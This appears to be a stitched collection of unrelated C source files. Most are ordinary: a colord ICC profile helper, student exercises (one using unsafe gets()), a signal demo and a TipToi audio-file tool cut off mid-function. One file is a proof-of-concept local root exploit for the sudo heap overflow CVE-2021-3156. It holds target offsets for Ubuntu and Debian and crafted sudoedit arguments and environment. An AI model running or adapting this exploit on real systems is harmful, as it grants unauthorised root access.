#include <string.h>
#ifndef OY_LIB_PREFIX
#define OY_LIB_PREFIX "lib"
#endif
#ifndef OY_LIB_SUFFIX
#define OY_LIB_SUFFIX ".so"
#endif
#if defined(__GNUC__)
# define OY_DBG_FORMAT_ "%s:%d %s() "
# define OY_DBG_ARGS_ strrchr(__FILE__,'/') ? strrchr(__FILE__,'/')+1 : __FILE__,__LINE__,__func__
#else
# define OY_DBG_FORMAT_ "%s:%d "
# define OY_DBG_ARGS_ strrchr(__FILE__,'/') ? strrchr(__FILE__,'/')+1 : __FILE__,__LINE__
#endif
char * oyReadFilepToMem_ ( FILE * fp,
size_t * size )
{
char* mem = NULL;
{
if (fp)
{
int sz;
/* get size */
fseek(fp,0L,SEEK_END);
sz = ftell (fp);
if(sz == -1)
{
switch(errno)
{
case EBADF: fprintf(stderr, OY_DBG_FORMAT_ "Not a seekable stream\n", OY_DBG_ARGS_); break;
case EINVAL: fprintf(stderr, OY_DBG_FORMAT_ "Wrong argument\n", OY_DBG_ARGS_); break;
default: fprintf(stderr, OY_DBG_FORMAT_ "%s\n", OY_DBG_ARGS_, strerror(errno)); break;
}
*size = 0;
return NULL;
}
/* read file possibly partitial */
if(!*size || (int)*size > ftell(fp))
*size = sz;
rewind(fp);
if(!*size)
return mem;
/* allocate memory */
mem = calloc( sizeof(char), *size+1 );
/* check and read */
if ((fp != 0)
&& mem
&& *size)
{
int s = fread(mem, sizeof(char), *size, fp);
/* check again */
if (s != (int)*size)
{ *size = 0;
free (mem);
mem = 0;
} else {
/* copy to external allocator */
char* temp = mem;
mem = calloc( sizeof(char), *size + 1 );
if(mem) {
memcpy( mem, temp, *size );
free (temp);
mem[*size] = 0;
} else {
free (mem);
*size = 0;
}
}
}
}
}
return mem;
}
char*
oyReadFileToMem_(const char* name, size_t *size)
{
FILE * fp = NULL;
char * mem = NULL;
const char * filename = name;
if(filename && filename[0] && strlen(filename) > 7 &&
memcmp(filename, "file://", 7) == 0)
filename = &filename[7];
if(filename)
{
fp = fopen(filename, "rb");
if(fp)
{
mem = oyReadFilepToMem_( fp, size );
} else {
fprintf( stderr, OY_DBG_FORMAT_ "%s: %s\n", OY_DBG_ARGS_, "Could not open file", filename?filename:"" );
}
}
/* clean up */
if (fp) fclose (fp);
return mem;
}
char * oyReadStdinToMem_ ( size_t * size )
{
char * text = 0;
{
int text_size = 0, buf_size = 0;
int c;
char * tmp = 0;
while(((c = getc(stdin)) != EOF))
{
if(text_size >= buf_size-1)
{
buf_size = text_size + 65536;
tmp = calloc( sizeof(char), buf_size );
if(text_size)
memcpy(tmp, text, text_size);
free(text);
text = tmp; tmp = 0;
}
text[text_size++] = c;
}
if(text)
text[text_size] = '\000';
if(size)
*size = text_size;
}
return text;
}
typedef enum {
UCMM_EDID_ERROR_OK = 0,
UCMM_EDID_ERROR_RESOURCE,
UCMM_EDID_ERROR_INVALID_PROFILE,
UCMM_EDID_ERROR_NO_PROFILE,
UCMM_EDID_ERROR_UNUSED1,
UCMM_EDID_ERROR_NO_DATA,
UCMM_EDID_ERROR_PROFILE_COPY,
UCMM_EDID_ERROR_UNUSED2,
UCMM_EDID_ERROR_ACCESS_CONFIG,
UCMM_EDID_ERROR_SET_CONFIG,
UCMM_EDID_ERROR_UNUSED3,
UCMM_EDID_ERROR_MONITOR_NOT_FOUND
} UCMM_ERROR_e;
const char * getUcmmError( int error )
{
switch(error)
{
case UCMM_EDID_ERROR_OK: return "OK";
case UCMM_EDID_ERROR_RESOURCE: return "resource";
case UCMM_EDID_ERROR_INVALID_PROFILE: return "invalid profile";
case UCMM_EDID_ERROR_NO_PROFILE: return "no profile";
case UCMM_EDID_ERROR_NO_DATA: return "no data";
case UCMM_EDID_ERROR_PROFILE_COPY: return "profile copy";
case UCMM_EDID_ERROR_ACCESS_CONFIG: return "access config";
case UCMM_EDID_ERROR_SET_CONFIG: return "set config";
case UCMM_EDID_ERROR_MONITOR_NOT_FOUND: return "monitor not found";
default: return "???";
}
return "";
}
int main(int argc, char **argv_)
{
int (*lcd_edid_install_profile) ( char * edid, int edid_len, int scope, char * profile_fn ) = NULL;
int (*lcd_edid_remove_profile) ( char * edid, int edid_len, char * profile_fn ) = NULL;
int (*lcd_edid_get_profile) ( char * edid, int edid_len, char ** profile_fn ) = NULL;
char ** argv = argv_;
int verbose = 1;
int error = -1;
if(argc > 1 && strcmp(argv[1],"-q") == 0)
{
verbose = 0;
--argc;
argv = &argv_[1];
}
if(argc == 4 || argc == 6)
{
const char * lib_name = "libcolordcompat.so";
void * gnome_handle = dlopen(lib_name, RTLD_LAZY);
int report = 0;
#define LOAD_FUNC( func, fallback_func ) l##func = dlsym(gnome_handle, #func ); \
if(!l##func) \
{ \
if(#fallback_func != NULL) \
{ \
l##func = fallback_func; \
} else \
{ \
error = 1; \
} \
report = 1; \
if(verbose) fprintf( stderr, OY_DBG_FORMAT_ "dlsym failed: %s\n", OY_DBG_ARGS_, \
dlerror() ); \
}
char * type = argv[1],
* edid_fn = argv[3],
* profile_fn = (argc == 6) ? argv[5] : NULL;
char * edid = NULL;
size_t size = 0;
LOAD_FUNC( cd_edid_install_profile, 0 )
LOAD_FUNC( cd_edid_remove_profile, 0 )
LOAD_FUNC( cd_edid_get_profile, 0 )
if(report && verbose)
{
fprintf(stderr, OY_DBG_FORMAT_ "Can not load symbols from libcolordcompat.so\n", OY_DBG_ARGS_ );
fprintf(stderr, OY_DBG_FORMAT_ "Applications using the 'colord' API might be out of sync with X11\n", OY_DBG_ARGS_ );
}
if(strcmp(edid_fn,"-") == 0)
edid = oyReadStdinToMem_( &size );
else
edid = oyReadFileToMem_( edid_fn, &size );
if(strcmp( type, "-a" ) == 0 && argc == 6)
{
error = lcd_edid_install_profile( edid, size, 0, profile_fn );
if(error)
{
#if 0
char * fn = strdup(profile_fn),
* t = strstr(fn, "/share/color/icc/"),
* pure_fn;
if(t)
{
pure_fn = strrchr(t,'/');
if(pure_fn++)
memmove( &t[17], pure_fn, strlen(pure_fn) + 1 );
memmove( &t[7], &t[13], strlen(t) - 12 );
}
#else
const char * home = getenv("HOME");
char * fn = calloc( sizeof(char), strlen(home?home:"") + strlen(profile_fn) + 256 );
char * pure_fn = strrchr(profile_fn,'/');
if(pure_fn && home)
sprintf( fn, "%s/.local/share/icc/%s", home, pure_fn + 1 );
#endif
if(fn && fn[0] && strcmp(fn, profile_fn) != 0)
error = lcd_edid_install_profile( edid, size, 0, fn );
}
if(!error)
return 0;
}
if(strcmp( type, "-e" ) == 0 && argc == 4)
{
do {
profile_fn = NULL;
error = lcd_edid_get_profile( edid, size, &profile_fn );
if(verbose)
fprintf( stdout, OY_DBG_FORMAT_ "profile to erase: %s\n", OY_DBG_ARGS_, profile_fn );
if(profile_fn)
error = lcd_edid_remove_profile( edid, size, profile_fn );
} while (profile_fn);
if(!error)
return 0;
}
if(strcmp( type, "-l" ) == 0 && argc == 4)
{
error = lcd_edid_get_profile( edid, size, &profile_fn );
if(verbose)
fprintf( stdout, OY_DBG_FORMAT_ "%s", OY_DBG_ARGS_, profile_fn?profile_fn:"no profile file name" );
if(!error)
return 0;
}
if(verbose)
{
fprintf( stderr, "\n" OY_DBG_FORMAT_ "Option: \"%s\" EDID_FILENAME: \"%s\" ICC_FILENAME: \"%s\" Status: \"%s\"\n", OY_DBG_ARGS_, type, edid_fn, profile_fn, getUcmmError(error));
if(error != UCMM_EDID_ERROR_OK)
fprintf(stderr, OY_DBG_FORMAT_ "Applications using the 'colord' API might be out of sync with X11\n", OY_DBG_ARGS_ );
}
}
if(verbose && (argc != 4 || argc != 6 || error != UCMM_EDID_ERROR_OK))
{
fprintf( stderr, "Synopsis:\n");
fprintf( stderr, "\t%s [-q] -a [-i -| -i EDID_FILENAME] -p ICC_FILENAME\n", argv[0]);
fprintf( stderr, "\t%s [-q] -e [-i -| -i EDID_FILENAME]\n", argv[0]);
fprintf( stderr, "\t%s [-q] -l [-i -| -i EDID_FILENAME]\n", argv[0]);
fprintf( stderr, "Options:\n");
fprintf( stderr, "\t-a\t\t\tadd a profile\n");
fprintf( stderr, "\t\t-p ICC_FILENAME\t\tthe file to handle\n");
fprintf( stderr, "\t-e\t\t\tdelete all profiles\n");
fprintf( stderr, "\t-l\t\t\tget a profile\n");
fprintf( stderr, "\t\t-i EDID_FILENAME\tread EDID blob from file\n");
fprintf( stderr, "\t\t-i -\t\t\tread EDID blob from input stream\n");
fprintf( stderr, "\t\t-q\t\t\tquiet mode\n");
fprintf( stderr, "Examples:\n\toyranos-monitor -d 0 -f edid | oyranos-compat-gnome -a -i - -p \"`oyranos-monitor -l -d 0 --path`\"\n" );
fprintf( stderr, "Note:\n\tArguments are order dependent\n");
}
return 0;
}
|
the_stack_data/27443.c | #include <stdio.h>
#include <string.h>
int countOccurrences(char * str, char * search);
int main ()
{
char str[100];
char search[100];
int count;
printf("Enter thr string : ");
gets(str);
printf("Enter word to search occurrences : ");
gets(search);
count = countOccurrences(str, search);
printf("Total occurrences of '%s' : %d", search, count);
return 0;
}
int countOccurrences(char * str, char * search)
{
int i, j, f, count;
int sl, searchl;
sl = strlen(str);
searchl = strlen(search);
count = 0;
for(i = 0; i <= sl - searchl; i++)
{
f = 1;
for(j = 0; j < searchl; j++)
{
if(str[i + j] != search[j])
{
f = 0;
break;
}
}
if(f == 1)
{
count++;
}
}
return count;
}
|
the_stack_data/481265.c | #include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
void traiterSignal(int numSignal);
void afficherInfos();
typedef void (*PtrFunction) (int);
int main(void)
{
afficherInfos();
//char chaine[255];
alarm(2);
//scanf("%s\n", chaine);
PtrFunction function;
function = signal(SIGALRM, traiterSignal);
if(function == SIG_ERR)
{
perror("Erreur");
exit(0);
}
while(1)
{
sleep(10);
}
return 0;
}
void afficherInfos()
{
time_t t;
t = time(NULL);
printf("Date : %s", ctime(&t));
printf("Login : %s\n", getenv("LOGNAME"));
printf("UID : %i\n", getuid());
printf("PID : %i\n", getpid());
}
void traiterSignal(int numSignal)
{
if(numSignal != SIGALRM)
{
perror("Erreur (2)");
exit(-1);
}
puts("SIGALRM reçu");
exit(0);
}
|
the_stack_data/173577218.c | #include <stdio.h>
int main (void)
{
int n,x;
int soma=0;
int i=0;
scanf("%d",&n);
while (i<n)
{
scanf("%d",&x);
soma = soma + x;
i++;
}
printf("%d\n",soma);
return 0;
}
|
the_stack_data/146838.c | /**
** CVE-2021-3156 PoC by blasty <[email protected]>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
target_t targets[] = {
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = "/usr/bin/sudoedit",
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
printf(" usage: %s <target>\n\n", prog);
printf(" available targets:\n");
printf(" ------------------------------------------------------------\n");
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
printf(" ------------------------------------------------------------\n");
printf("\n");
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <[email protected]>\n\n");
if (argc != 2) {
usage(argv[0]);
return -1;
}
target_t *target = &targets[ atoi(argv[1]) ];
printf("using target: '%s'\n", target->target_name);
char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);
memset(smash_a, 'A', target->smash_len_a);
memset(smash_b, 'B', target->smash_len_b);
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1);
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp);
return 0;
}
|
the_stack_data/178266666.c | #include <stdio.h>
void insert(int array[], int n, int position, int value)
{
for (int c = n - 1; c >= position - 1; c--)
array[c+1] = array[c];
array[position-1] = value;
printf("Resultant array is\n");
for (int c = 0; c <= n; c++)
printf("%d\t", array[c]);
}
int main()
{
int array[100], position, c, n, value;
printf("Enter number of elements in array: ");
scanf("%d", &n);
printf("Enter %d elements: ", n);
for (c = 0; c < n; c++)
scanf("%d", &array[c]);
printf("Enter the location where you wish to insert an element: ");
scanf("%d", &position);
printf("Enter the value to insert: ");
scanf("%d", &value);
insert(array,n,position,value) ;
return 0;
}
|
the_stack_data/68947.c | #include <stdio.h>
void main(void)
{
int foo = 6;
printf ("\nfoo = %d\n", foo);
if (foo = 5)
printf ("\nfoo je jednako sa 5");
foo == 7;
if (foo == 7)
printf ("\nfoo je jednako sa 7\n");
else
printf ("\nfoo nije jednako sa 7\n");
return;
}
|
the_stack_data/25136751.c | int foo(int p, int q, int v)
{
if (q) {
if (p) {
v = p;
p = 0;
}
} else
p = 0;
if (p)
return v + 1;
return q;
}
/*
* check-name: phi-ret
* check-command: test-linearize -Wno-decl $file
*
* check-output-ignore
* check-output-excludes: phi\\.
*/
|
the_stack_data/184517646.c | /*
* Compare strings: s1>s2: >0 s1==s2: 0 s1<s2: <0
*/
strcmp(s1, s2)
char *s1, *s2;
{
while (*s1 == *s2++)
if (*s1++=='\0')
return(0);
return(*s1 - *--s2);
}
|
the_stack_data/31387531.c | /*mplemente um programa que calcula a idade de uma pessoa. Seu programa irá receber a data de nascimento da pessoa e a data atual. As datas fornecidas estão no formato dd/MM/yyyy. Esse formato de data significa dia/mês/ano, onde o dia e o mês terão dois dígitos e o ano 4. Imprima a idade da pessoa.
ATENÇÃO: Só conte anos completos. Exemplo: A data de nascimento é no dia 16/11/1980, a data atual é 20/07/2017, logo sua idade é 36 e não 37 pois ele não completou o último ano.
A primeira data será do nascimento e a segunda a data atual.*/
#include <stdio.h>
int main(){
int ano, mes, dia, anoH, mesH, diaH;
scanf("%d/%d/%d", &dia, &mes, &ano);
scanf("%d/%d/%d", &diaH, &mesH, &anoH);
if(mesH > mes){
printf("%d", anoH - ano);
}else if(mesH == mes){
if(diaH == dia){
printf("%d", anoH - ano);
}else if(diaH > dia){
printf("%d", anoH - ano);
}else{
printf("%d", anoH - ano -1);
}
}else{
printf("%d", anoH - ano - 1);
}
return 0;
} |
the_stack_data/23574105.c | /* TipToi Datafile Tool
Copyright(c) 2013 Michael Wolf
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files(the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and / or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions :
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
typedef struct{
uint32_t offset;
uint32_t lenght;
}GME_AUDIO_FILE_TABLE;
typedef struct{
uint16_t elements;
uint32_t jumpTable[];
}GME_JUMP_TABLE;
typedef struct{
uint32_t lastOIDCode;
uint32_t firstOIDCode;
uint32_t codeTable[];
}GME_MAIN_TABLE;
//internal structure for a loaded gme file
typedef struct{
uint8_t *data;
long filesize;
uint8_t xor;
uint32_t bookCode;
uint32_t checksum;
uint32_t mainTableOffset;
GME_MAIN_TABLE *mainTable;
uint32_t audioFileTableOffset;
GME_AUDIO_FILE_TABLE *audioFileTable;
uint32_t audioFileTableEntries;
}GME_FILE;
#define GME_AUDIO_FILE_TABLE_OFFSET 4
#define GME_BOOK_CODE_OFFSET 20
#define GME_MAIN_FILE_TABLE_OFFSET 0
#define GET_UINT32(pos) (*(uint32_t*)&gme->data[pos])
//TOFIX: will fail if xor value is one of the magic characters
uint8_t getXOR(GME_FILE *gme){
uint8_t magic[2][5] = { "OggS", "RIFF" };
unsigned char *file = (char*)&gme->data[gme->audioFileTable[0].offset];
uint8_t xor;
int m,c;
for (m = 0; m < 2; m++){
xor = file[0] ^ magic[m][0];
if ((file[1] ^ xor == magic[m][1]) && (file[2] ^ xor == magic[m][2]) && (file[3] ^ xor == magic[m][3])){
return xor;
}
}
return 0;
}
//TODO: remove; every file should be xored seperatly to be save
void xorAudio(GME_FILE *gme){
uint8_t *pos = &gme->data[gme->audioFileTable[0].offset];
uint8_t *end = &gme->data[gme->audioFileTable[gme->audioFileTableEntries-1].offset + gme->audioFileTable[gme->audioFileTableEntries-1].lenght];
const uint8_t xorff = gme->xor ^ 0xFF;
while (pos <= end){
if (*pos != 0 && *pos != 0xFF && *pos != gme->xor && *pos != xorff) {
*pos = *pos ^gme->xor;
}
pos++;
}
}
uint32_t calculateChecksum(uint8_t *data, uint32_t size){
uint32_t checksum = 0;
int i;
for (i = 0; i < size; i++){
checksum += *data++;
}
return checksum;
}
GME_FILE *readFile(char *filename){
FILE *fp;
GME_FILE *gme;
uint32_t checksumData = 0;
uint32_t checksumFile = 0;
if ((fp = fopen(filename, "rb")) == NULL) return NULL;
if ((gme = malloc(sizeof(GME_FILE))) == NULL){
fprintf(stderr,"Error could not allocate gme file structure\n");
fclose(fp);
return NULL;
}
fseek(fp, 0, SEEK_END);
gme->filesize=ftell(fp);
fseek(fp, 0, SEEK_SET);
if ((gme->data = malloc(gme->filesize)) == NULL){
fprintf(stderr, "Cold not allocate memory for filedata\n");
fclose(fp);
free(gme);
return NULL;
}
if (fread(gme->data, 1, gme->filesize, fp) != gme->filesize){
fprintf(stderr, "Cold not read filedata\n");
fclose(fp);
free(gme->data);
free(gme);
return NULL;
}
fclose(fp);
gme->audioFileTableOffset = GET_UINT32(GME_AUDIO_FILE_TABLE_OFFSET);
gme->audioFileTable = &gme->data[gme->audioFileTableOffset];
gme->audioFileTableEntries = (gme->audioFileTable[0].offset - GET_UINT32(GME_AUDIO_FILE_TABLE_OFFSET)) / 8;
gme->bookCode = GET_UINT32(GME_BOOK_CODE_OFFSET);
gme->xor = getXOR(gme);
gme->checksum = *(uint32_t*)&gme->data[gme->filesize - 4];
gme->mainTableOffset = GET_UINT32(GME_MAIN_FILE_TABLE_OFFSET);
gme->mainTable = &gme->data[gme->mainTableOffset];
return gme;
}
void freeGme(GME_FILE *gme){
free(gme->data);
free(gme);
}
uint32_t endianSwap(uint32_t value){
return
(value & 0x000000FFu) << 24 |
(value & 0x0000FF00u) << 8 |
(value & 0x00FF0000u) >> 8 |
(value & 0xFF000000u) >> 24;
}
long getFileSize(char *filename){
FILE *fp;
long size;
if ((fp = fopen(filename, "rb")) == NULL) return 0;
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fclose(fp);
return size;
}
GME_AUDIO_FILE_TABLE *createAudioTable(GME_FILE *gme, char *filepath,int useNumbers){
GME_AUDIO_FILE_TABLE *aft = malloc(sizeof(GME_AUDIO_FILE_TABLE)*gme->audioFileTableEntries);
uint32_t nextOffset = gme->audioFileTable[0].offset;
char audioFileName[1024];
FILE *fplist;
int i = 0;
if (!useNumbers) fplist = fopen(filepath, "rb");
for (i = 0; i<gme->audioFileTableEntries; i++){
if (useNumbers){
sprintf(audioFileName,"%s/%04d.ogg", filepath, i);
}else{
fscanf(fplist, "%s", audioFileName);
}
aft[i].offset = nextOffset;
aft[i].lenght = getFileSize(audioFileName);
nextOffset += aft[i].lenght;
}
if (!useNumbers) fclose(fplist);
return aft;
}
void addAudioFiles(GME_FILE *gme, GME_AUDIO_FILE_TABLE *aft, uint8_t *data, char *filepath, int useNumbers){
char audioFileName[1024];
FILE *fplist;
FILE *fp;
uint8_t *cpos = data;
const uint8_t xorff = gme->xor ^ 0xFF;
int i,j;
if (!useNumbers) fplist = fopen(filepath, "rb");
for (i = 0; i < gme->audioFileTableEntries; i++){
if (useNumbers){
sprintf(audioFileName,"%s/%04d.ogg", filepath, i);
}else{
fscanf(fplist, "%s", audioFileName);
}
fp = fopen(audioFileName, "rb");
fread(cpos, 1, aft[i].lenght, fp);
fclose(fp);
for (j = 0; j < aft[i].lenght; j++){
if (*cpos != 0 && *cpos != 0xFF && *cpos != gme->xor && *cpos != xorff) {
*cpos = (*cpos) ^gme->xor;
}
cpos++;
}
}
if (!useNumbers) fclose(fplist);
}
typedef struct {
char *filename;
uint32_t position;
FILE *fp;
uint32_t size;
}GME_AUDIO_FILE_POSITION;
typedef struct {
uint8_t *data;
GME_AUDIO_FILE_POSITION *files;
uint32_t fileCount;
GME_AUDIO_FILE_TABLE *aft;
uint32_t datasize;
}GME_AUDIO_SCRIPT;
GME_AUDIO_SCRIPT *readFilelist(char *filelist, uint32_t firstOffset){
FILE *fp;
uint32_t filesize;
GME_AUDIO_SCRIPT *gas;
uint8_t *cstart, *cpos;
int i,j;
uint32_t nextOffset = firstOffset;
int duplicate;
if ((fp = fopen(filelist, "rb"))==NULL){
fprintf(stderr, "Could not open file '%s' for reading\n", filelist);
exit(1);
}
fseek(fp, 0, SEEK_END);
filesize = ftell(fp);
fseek(fp, 0, SEEK_SET);
if ((gas = malloc(sizeof(GME_AUDIO_SCRIPT))) == NULL || (gas->data = malloc(filesize+1)) == NULL){
fprintf(stderr, "Could not allocate memory\n", filelist);
exit(1);
}
gas->fileCount = 0;
gas->datasize = 0;
if (fread(gas->data, 1, filesize, fp) != filesize){
fprintf(stderr, "Could not read file '%s' for reading\n", filelist);
exit(1);
}
gas->data[filesize] = 0;
fclose(fp);
//Count lines
cpos = gas->data;
while (*cpos!=0){
if (*cpos == '\r' || *cpos == '\n'){
gas->fileCount++;
if (*cpos == '\r' && *(cpos + 1) == '\n') cpos++;
}
cpos++;
}
gas->files = malloc(sizeof(GME_AUDIO_SCRIPT)*(gas->fileCount + 1));
//Fill gas->files with filenames
cpos = gas->data;
i = 0;
gas->files[0].filename = gas->data;
gas->files[0].position = 0xFFFFFFFF;
while (*cpos != 0){
if (*cpos == '\r' || *cpos == '\n'){
*cpos++ = 0;
if (*(cpos) == '\n') cpos++;
i++;
gas->files[i].filename = cpos;
gas->files[i].position = 0xFFFFFFFF;
}
cpos++;
}
for (i = 0; i < gas->fileCount; i++){
duplicate = 0;
for (j = 0; j < i; j++){
if (strcmp(gas->files[i].filename, gas->files[j].filename) == 0){
duplicate = 1;
break;
}
}
if (!duplicate){
if ((gas->files[i].fp = fopen(gas->files[i].filename, "rb")) != NULL){
fseek(gas->files[i].fp, 0, SEEK_END);
gas->files[i].size = ftell(gas->files[i].fp);
fseek(gas->files[i].fp, 0, SEEK_SET);
gas->datasize += gas->files[i].size;
}
}
}
}
//Replace audio files with files from given list
void replaceAudio(char *inputfile, char *outputfile, char *filepath, int useNumbers){
GME_FILE *gme = readFile(inputfile);
uint32_t endofAudioData = gme->audioFileTable[gme->audioFileTableEntries - 1].offset + gme->audioFileTable[gme->audioFileTableEntries - 1].lenght;
uint8_t *data;
uint8_t *dataPos;
uint32_t dataLength;
GME_AUDIO_SCRIPT *gas;
GME_AUDIO_FILE_TABLE *aft;
FILE *fp;
if (gme->filesize != endofAudioData + 4){
fprintf(stderr, "There is data after the audio files, file would not work afterwards!\n");
exit(1);
}
aft = createAudioTable(gme, filepath, useNumbers);
dataLength = aft[gme->audioFileTableEntries - 1].offset + aft[gme->audioFileTableEntries - 1].lenght + 4;
data = malloc(dataLength);
memcpy(data, gme->data, gme->audioFileTableOffset);
dataPos = data + gme->audioFileTableOffset;
memcpy(dataPos, aft, sizeof(GME_AUDIO_FILE_TABLE)*gme->audioFileTableEntries);
dataPos += sizeof(GME_AUDIO_FILE_TABLE)*gme->audioFileTableEntries;
addAudioFiles(gme, aft, dataPos, filepath, useNumbers);
dataPos = data + dataLength-4;
*((uint32_t*)dataPos) = calculateChecksum(data, dataPos-data);
fp = fopen(outputfile, "wb");
fwrite(data, 1, dataLength, fp);
fclose(fp);
}
//Exports all audio files and creates a filelist.txt with every filename
//for use by replace functionality
int exportAudioFiles(char *inputfile, char *path, int filelistOnly){
GME_FILE *gme = readFile(inputfile);
char filename[1024];
uint8_t *file;
int i, j, duplicate;
FILE *fp;
FILE *fplist;
//TODO: XOR every Audiofile separatly? there could be holes or overlaps with other data (not found jet in samples)
xorAudio(gme);
sprintf(filename, "%sfilelist.txt", path);
if ((fplist = fopen(filename, "wb")) == NULL){
fprintf(stderr, "Could not open outputfile '%s'", filename);
exit(0);
}
for (i = 0; i < gme->audioFileTableEntries; i++){
duplicate = 0;
/*
check if we allready exported a file with current offset
needed for "Rekorde im Tierreich.gme" and possibly others where there are multible entries
in the table to the same audiofile
brute force check is slow but ok for some k entries
*/
for (j = 0; j < i; j++){
if (gme->audioFileTable[i].offset == gme->audioFileTable[j].offset){
duplicate = 1;
break;
}
}
file = &gme->data[gme->audioFileTable[i].offset];
if (*file == 'O'){
sprintf(filename, "%s%04d.ogg", path, duplicate ? j : i);
}
else if (*file == 'R'){
sprintf(filename, "%s%04d.wav", path, duplicate ? j : i);
}
else{
sprintf(filename, "%s%04d.raw", path, duplicate ? j : i);
}
fprintf(fplist, "%s\n", filename);
if (!duplicate && !filelistOnly){
if ((fp = fopen(filename, "wb")) == NULL){
fprintf(stderr, "Could not open file '%s' for writing\n", filename);
continue;
}
fwrite(file, 1, gme->audioFileTable[i].lenght, fp);
fclose(fp);
}
}
fclose(fplist);
freeGme(gme);
}
void hexDump(FILE *out, uint8_t* ptr1, uint8_t* ptr2){
while (ptr1 < ptr2){
fprintf(out, "%02X ", *ptr1++);
}
}
//void markKnown(char *inputfile, char * outputfile){
// GME_FILE *gme = readFile(inputfile);
// FILE *fp = fopen(outputfile, "wb");
// int i,j;
// uint32_t jumpTableOffset;
// uint32_t *gjt;
// uint16_t elements;
//
// for (i = 0; i < gme->audioFileTableEntries; i++){
// memset(&gme->data[gme->audioFileTable[i].offset], 0, gme->audioFileTable[i].lenght);
// }
// memset(&gme->data[gme->audioFileTableOffset], 0, gme->audioFileTableEntries*8);
//
// for (i = gme->mainTable->firstOIDCode; i < gme->mainTable->lastOIDCode; i++){
// jumpTableOffset = gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode];
// if (jumpTableOffset != 0xFFFFFFFF){
// if (i>gme->mainTable->firstOIDCode){
// memset(&gme->data[gjt[elements - 1]], 0, &gme->data[gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode] + 2] - &gme->data[gjt[elements - 1]]);
// }
// elements = *(uint16_t*)&gme->data[gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode]];
// gjt = &gme->data[gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode] + 2];
// for (j = 0; j < elements - 1; j++){
// memset(&gme->data[gjt[j]], 0, &gme->data[gjt[j + 1]] - &gme->data[gjt[j]]);
// }
// }
// }
// fwrite(gme->data, 1, gme->filesize,fp);
// fclose(fp);
//}
void printInformation(char *inputfile, FILE *out){
GME_FILE *gme = readFile(inputfile);
uint32_t tmp;
int i,j;
uint32_t jumpTableOffset;
uint32_t *gjt;
uint16_t elements;
fprintf(out,"Filesize: %d\n", gme->filesize);
fprintf(out,"File checksum: 0x%0X\n", gme->checksum);
fprintf(out,"Calc checksum: 0x%0X\n", calculateChecksum(gme->data, gme->filesize - 4));
fprintf(out,"XOR value: 0x%0X\n", gme->xor);
fprintf(out,"Book Code: %d\n", gme->bookCode);
fprintf(out,"\nMain Table:\n");
fprintf(out,"\toffset: %d (0x%08X)\n", gme->mainTableOffset, endianSwap(gme->mainTableOffset));
fprintf(out,"\tlast OID Code: %d (0x%08X)\n", gme->mainTable->lastOIDCode, endianSwap(gme->mainTable->lastOIDCode));
fprintf(out,"\tfirst OID Code: %d (0x%08X)\n", gme->mainTable->firstOIDCode, endianSwap(gme->mainTable->firstOIDCode));
for (i = gme->mainTable->firstOIDCode; i < gme->mainTable->lastOIDCode; i++){
jumpTableOffset = gme->mainTable->codeTable[i - gme->mainTable->firstOIDCode];
if (jumpTableOffset != 0xFFFFFFFF){
if (i>gme->mainTable->firstOIDCode){
fprintf(out, "\t%02d: %d: ", elements - 1, gjt[elements - 1]);
